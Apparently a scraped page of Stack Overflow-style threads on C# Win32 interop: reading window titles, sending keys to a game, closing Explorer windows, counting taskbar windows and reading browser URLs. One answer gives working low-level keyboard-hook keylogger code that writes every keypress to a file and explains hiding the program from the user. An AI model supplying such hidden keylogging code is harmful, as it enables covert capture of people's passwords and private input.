i've developed a simple application (.dll) in LABVIEW and i implorted that dll to a C# windows application(Winforms) . Like
[DllImport(#".\sample.dll")]
public static extern void MyFunc(char[] a, StringBuilder b ,Int32 c);
so when i call the function MyFunc a window will be popped up( the Lab View window( Front panel of my labview application
i need to get the window name (ExpectedFuncName) in my C# application. i.e i need to get the name of the external window which is opend by my C# application. Can we use FileVersionInfo or assembly loader to get the name?
Is there any idea to do this?
Thanks in advance.
If you have the window handle, this is relatively easy:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll", SetLastError=true, CharSet=CharSet.Auto)]
static extern int GetWindowTextLength(IntPtr hWnd);
...
int len;
// Window caption
if ((len = GetWindowTextLength(WindowHandle)) > 0) {
sb = new StringBuilder(len + 1);
if (GetWindowText(WindowHandle, sb, sb.Capacity) == 0)
throw new Exception(String.Format("unable to obtain window caption, error code {0}", Marshal.GetLastWin32Error()));
Caption = sb.ToString();
}
Here, 'WindowHandle' is the handle of the created window.
In the case you do not have a window handle (I see you don't), you have to enumerate every desktop top-level window, filter them by the creating process (I see the window is created by you application by calling MyFunc, so you know the process ID [*]), and then use some heuristic to determine the required information.
Here is the C# import of the functions you shall use in the case you do not have the handle:
[DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
static extern int GetWindowThreadProcessId(IntPtr hWnd, out int lpdwProcessId);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);
private delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);
Basically EnumWindows calls EnumWindowsProc for each window found in the current desktop. So you can get the window caption.
List<string> WindowLabels = new List<string>();
string GetWindowCaption(IntPtr hWnd) { ... }
bool MyEnumWindowsProc(IntPtr hWnd, IntPtr lParam) {
int pid;
GetWindowThreadProcessId(hWnd, out pid);
if (pid == Process.GetCurrentProcess().Id) {
// Window created by this process -- Starts heuristic
string caption = GetWindowCaption(hWnd);
if (caption != "MyKnownMainWindowCaption") {
WindowLabels.Add(caption);
}
}
return (true);
}
void DetectWindowCaptions() {
EnumWindows(MyEnumWindowsProc, IntPtr.Zero);
foreach (string s in WindowLabels) {
Console.WriteLine(s);
}
}
[*] In the case the window is not created by your application (i.e but from another background process), you shall filter the values returned by GetWindowThreadProcessId using another process ID, but this requires another question...
If you activate LabVIEW scripting (LabVIEW 2010), or install it (LV 8.6, 2009) there is a front-panel property called 'FP.nativewindow'. This returns a handle to the front panel window.
Use the following snippet to get the property:
Related
I am trying to get my C# script to output into ets2 so that it will drive for me (wasd). For testing I am using the space bar. I have tested the code in chrome and notepad, where it works and puts down a space. Would anyone know what is going wrong?
Update:
I wrote a little bit of test code for python using the keyboard module and I got it to work. Would it be possible to make "space" into a variable that I could change from C#?
Python Code:
import keyboard, time
time.sleep(5)
keyboard.press_and_release("space")
The Threads and Windows in Spy++:
I use the following code:
public const int WM_KEYDOWN = 0x0100;
const int VK_SPACE = 0x20;
static void Main(string[] args)
{
System.Threading.Thread.Sleep(2000); // gives user time to switch tabs
IntPtr programloc = WindowHelper.GetForegroundWindow();
// I also tried using (from Spy++) FindWindow("Euro Truck Simulator 2", "prism3d");
if (programloc == IntPtr.Zero) throw new SystemException();
WindowHelper.PostMessage(programloc, WM_KEYDOWN, VK_SPACE, 0);
}
and the following module WindowHelper (combination of multiple Stackoverflow and docs.microsoft pages):
class WindowHelper
{
[System.Runtime.InteropServices.DllImport("user32.dll")]
public static extern IntPtr FindWindow(
string lpClassName,
string lpWindowName);
[System.Runtime.InteropServices.DllImport("User32.dll")]
public static extern IntPtr FindWindowEx(
IntPtr hwndParent,
IntPtr hwndChildAfter,
string lpszClass,
string lpszWindos);
[return: MarshalAs(UnmanagedType.Bool)]
[DllImport("user32.dll", SetLastError = true)]
public static extern bool PostMessage(IntPtr hWnd, uint Msg, int wParam, int lParam);
[DllImport("User32.dll")]
public static extern int SendMessage(IntPtr hWnd, int uMsg, int wParam, string lParam);
[DllImport("USER32.DLL")]
public static extern bool SetForegroundWindow(IntPtr hWnd);
[System.Runtime.InteropServices.DllImport("user32.dll", EntryPoint = "GetForegroundWindow")]
public static extern IntPtr GetForegroundWindow();
}
Your code is exiting immediately. Is this intentional? Make a call to Console.Readline() at the end of main to block until you give the console input.
I have been able to find a (temporary) fix myself. This fix is however not very performance friendly. Anyone having better suggestions is welcome.
Using the keyboard function I described in my question, I made a python script which uses arguments. This python script is started by the C# script using the following code:
static public string run_python(string cmd, string args)
{
ProcessStartInfo start = new ProcessStartInfo();
start.FileName = #"C:\Users\Stijn\AppData\Local\Programs\Python\Python36\python.exe";
start.Arguments = string.Format("\"{0}\" \"{1}\"", cmd,args);
start.UseShellExecute = false;// Do not use OS shell
start.CreateNoWindow = true; // We don't need new window
start.RedirectStandardOutput = true;// Any output, generated by application will be redirected back
start.RedirectStandardError = true; // Any error in standard output will be redirected back (for example exceptions)
using (Process process = Process.Start(start))
{
using (StreamReader reader = process.StandardOutput)
{
string stderr = process.StandardError.ReadToEnd(); // Here are the exceptions from our Python script
string result = reader.ReadToEnd(); // Here is the result of StdOut(for example: print "test")
return result + stderr;
}
}
}
The python code consists of:
from keyboard import press_and_release
from sys import argv as args
for i in range(len(args)-1):
press_and_release(args[i+1])
Using the keyboard module as can be found at https://pypi.org/project/keyboard/
I've tried searching but nothing really matches my demand.
I don't want explorer.exe to be terminated or restarted.
I just want any open explorer windows to close.
[DllImport("user32.dll")]
private static extern bool EnumWindows(EnumWindowsDelegate lpEnumFunc, IntPtr lParam);
[DllImport("user32.dll")]
private static extern IntPtr GetWindowThreadProcessId(IntPtr hWnd, out IntPtr lpdwProcessId);
[DllImport("user32.dll")]
private static extern uint RealGetWindowClass(IntPtr hwnd, StringBuilder pszType, uint cchType);
[DllImport("user32.dll")]
static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
static uint WM_CLOSE = 0x10;
private delegate bool EnumWindowsDelegate(IntPtr hwnd, IntPtr lParam);
private static bool EnumWindowsCallback(IntPtr hwnd, IntPtr lParam)
{
IntPtr pid = new IntPtr();
GetWindowThreadProcessId(hwnd, out pid);
var wndProcess = System.Diagnostics.Process.GetProcessById(pid.ToInt32());
var wndClass = new StringBuilder(255);
RealGetWindowClass(hwnd, wndClass, 255);
if (wndProcess.ProcessName == "explorer" && wndClass.ToString() == "CabinetWClass")
{
//hello file explorer window...
SendMessage(hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); // ... bye file explorer window
}
return (true);
}
static void Main()
{
EnumWindowsDelegate childProc = new EnumWindowsDelegate(EnumWindowsCallback);
EnumWindows(childProc, IntPtr.Zero);
Console.ReadKey();
}
edit:
so i guess the only interesting thing is the callback which will be called by windows for each enumerated window (handle of said window in hwnd)
GetWindowThreadProcessId provides us with the processid for a given window handle
GetProcessById then provides us with a process object to read things like the process name from
RealGetWindowClass provides us with the registered class name for a given window handle
finally we can look to see if the process for the current window is the explorer and if the window class is "CabinetWClass", which is the window class for the normal file explorer window
last but not least, if our check is ok, send a WM_CLOSE message to kindly ask the window to close itself...
The following alternative uses the COM API of the Shell object to retrieve and identify File Explorer windows. It requires the addition of the COM references to:
Microsoft Shell Controls And Automation
Microsoft Internet Controls
The object returned by Shell.Windows method is an IEnumerable. Each object in the collection is a SHDocVw.InternetExplorer instance. If the Document object is a Shell32.ShellFolderView, then the explorer is a File Explorer.
private static void CloseExplorerWindows()
{
Shell32.Shell shell = new Shell32.Shell();
// ref: Shell.Windows method
// https://msdn.microsoft.com/en-us/library/windows/desktop/bb774107(v=vs.85).aspx
System.Collections.IEnumerable windows = shell.Windows() as System.Collections.IEnumerable;
if (windows != null)
{
// ref: ShellWindows object
// https://msdn.microsoft.com/en-us/library/windows/desktop/bb773974(v=vs.85).aspx
foreach (SHDocVw.InternetExplorer window in windows)
{
object doc = window.Document;
if (doc != null && doc is Shell32.ShellFolderView)
{
window.Quit(); // closes the window
}
}
}
}
public static void CloseExplorerWindows() => EnumWindows(new EnumWindowsProc(EnumTheWindows), IntPtr.Zero);
private delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
private static extern int GetWindowText(IntPtr hWnd, StringBuilder strText, int maxCount);
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
private static extern int GetWindowTextLength(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool EnumWindows(EnumWindowsProc enumProc, IntPtr lParam);
[DllImport("user32.dll")]
private static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
static uint WM_CLOSE = 0x10;
private static bool EnumTheWindows(IntPtr hWnd, IntPtr lParam)
{
int size = GetWindowTextLength(hWnd);
if (size++ > 0 && IsWindowVisible(hWnd))
{
var sb = new StringBuilder(size);
GetWindowText(hWnd, sb, size);
var threadID = GetWindowThreadProcessId(hWnd, out var processID);
var s = System.Diagnostics.Process.GetProcessById((int)processID).ProcessName;
if (s == "explorer" && sb.ToString() != "Program Manager")
SendMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
}
return true;
}
By default, explorer runs as single process, and any windows that open are just a thread of the process.
Normally, to close a program, you'd send a close message to the process. In this case, closing explorer.exe will close all explorer windows.
To close individual windows, you'd open each window via it's own process.
This can be done via registry setting or enabling under View->Options->View->Advanced Settings: "Launch ... separate process"
a) Find PID (process ID) of window you wanna close.
via taskmanager:
1. In list of processes, click the arrow to the left of "Windows Explorer"
2. Check the window name matches the window you wanna close
3. Right click on "Windows Explorer", click "Go to Details"
4. Record the pid
via CMD:
tasklist /V /FI "IMAGENAME eq explorer.exe"
If each explorer window is open in it's own process, the above command would display the window title in the last column.
Otherwise "N/A" would be displayed.
The pid of all explorer windows would be the same. Explorer.exe processes have their own pid, and title "N/A"
If 'separate process' has been enabled eg. via Folder View option, then each window can be closed via the process id & filter option of taskkill.
To close, the desired window has to be activated first, otherwise closing with pid will close the last active window, or closing with window title filter will give error:
INFO: No tasks running with the specified criteria.
b) taskkill /pid <pid>
will close the last active window.
Repeating this command will the next window.
or taskkill /im explorer.exe /fi "windowtitle eq <window name>"
or taskkill /fi "IMAGENAME eq explorer.exe" /fi "windowtitle eq <window name>"
< window name > is not case sensitive
If full path in title bar has been enabled in Folder view, then include full path or wildcards.
To close all explorer windows:
taskkill /im explorer.exe
Notes:
To activate explorer window, issue same command to open the window, if window reusing is enabled.
The pid of explorer window(ing) process is in the last row of the response table, in column "PID"; can be accessed via FOR loop.
A vbs workaround to close window from #HelpingHand: https://superuser.com/questions/1263315/how-to-close-a-particular-opened-folder-using-cmd-or-batch-file
A vbs workaround to activate window: http://superuser.com/questions/327676/application-to-automatically-switch-between-two-applications-in-windows
Tested on Win 10
I have an University project which requires to create some sort of keylogger with c#, I mean to get all the keyboard inputs from the user and put them in a file, the input which in this case is a text needs also to be encrypted. This application need to be a windows service, I'm new to windows services but I have successfully managed to create a windows service using Visual Studio 2015.The problem now is at the keylogger, I've searched for quite a long now but most keyloggers I've seen have been developed using windows forms and not windows services. I have this function:
protected override void OnStart(string[] args)
{
System.IO.File.Create(AppDomain.CurrentDomain.BaseDirectory + "OnStart.txt");
}
What I have done here is that when the service starts it creates a new .txt file called Output at the directory of the application where all the inputs of the user are going to be saved or recorded.
Could someone help me or redirect me somewhere so I could create a simple keylogger using a windows service? I've managed to create a keylogger with windows forms using a timer which would save the data every second but using a windows service seems to be a bit hard for me.
From this question it looks like it may not be possible to do from a service, for security reasons.
However, you could create a program which uses keybaord hooks and does not display any console or windows, meaning it will be hidden from the user (just like a service would).
To do this, first declare some fields:
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
Then import these native methods:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
Create these methods, where HookCallback will handle any detected key presses (so write to file here uder the comment)
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
var keyName = Enum.GetName(typeof(Keys), vkCode);
var path = #"C:\test\logfile.txt";
// Handle the key press here
var text = ((Keys)vkCode).ToString();
File.AppendAllText(path, text);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
SetHook basically subscribes to the keyboard hook for us:
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
Finally, add these lines to your Main method:
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
Now to make the program invisible, simply change the Output Type property to a Windows Application instead of a Console Application.
I hope this is helpul to you
Greetings
I'm using the following code to get the active process.
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
public extern short GetKeyState(int keyCode);
[DllImport("user32.dll")]
private extern Int32 GetWindowThreadProcessId(
IntPtr hWnd, out uint lpdwProcessId);
[DllImport("user32.dll")]
private extern IntPtr GetForegroundWindow();
private Process GetProcessByHandle(IntPtr hwnd)
{
try
{
uint processID;
GetWindowThreadProcessId(hwnd, out processID);
return Process.GetProcessById((int)processID);
}
catch { return null; }
}
private Process GetActiveProcess()
{
IntPtr hwnd = GetForegroundWindow();
return hwnd != null ? GetProcessByHandle(hwnd) : null;
}
I was wondering if with this, or any other code, I could get the active URL / Tab of any webbrowser when GetActiveProcess returns a webbrowser as active process?
Greetings
Found my answer at Retrieve current URL from C# windows forms application . Which does get the url for google chrome (My most used broswer) but fails at internet explorer.
If anyone wishes to help on that it would be lovely.. but as I have it now it's good enough!
I've been wondering how to do this for ages. I'm creating a little app, and I need to figure out how many apps or windows are displayed in the TaskBar.
I've yet to find any info on this at all, I'd appreciate any help at all.
Thank you :)
Here is an article that shows how to get the windows, that are shown when you are using the ALT+TAB key combination.
Basically, you will get the same windows that are shown in the taskbar (unless it is a tool window that is not displayed), but then again, you can always check against WS_EX_TOOLWINDOW (not shown) and WS_EX_APPWINDOW (shown).
You may have a look at my previous answer here; the main difference here is that you just have to count the windows that match the given requirements.
As other's have said you need to enumerate through the windows using the Win32 EnumWindows function, and get your count that way.
You can also enumerate through processes using Process.GetProcesses(); However windows like explorer windows which are not a separate process will not show up in that list.
int appCount = 0;
public bool EnumerateWindows(IntPtr hwnd, IntPtr lParam)
{
if (IsWindowVisible(hwnd))
{
StringBuilder sb = new StringBuilder();
string text = "";
GetWindowText(hwnd, sb, 1024);
text = sb.ToString();
if (text != string.Empty && text != "Program Manager")
{
appCount++;
}
}
return true;
}
private int GetAppCount()
{
appCount = 0;
EnumWindows(EnumerateWindows, new IntPtr(0));
return appCount;
}
internal delegate bool EnumThreadWindowsCallback(IntPtr hwnd, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
internal static extern bool EnumWindows(EnumThreadWindowsCallback callback, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
internal static extern bool IsWindowVisible(IntPtr hwnd);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
internal static extern int GetWindowText(IntPtr hWnd, [Out, MarshalAs(UnmanagedType.LPTStr)] StringBuilder lpString, int nMaxCount);
As far as I know there is no managed way of accessing the taskbar. Here is a link that describes how to access the taskbar by the Windows API. However, I a quick scan did not show any "number of items" or something similar. Still it might point you in the right direction.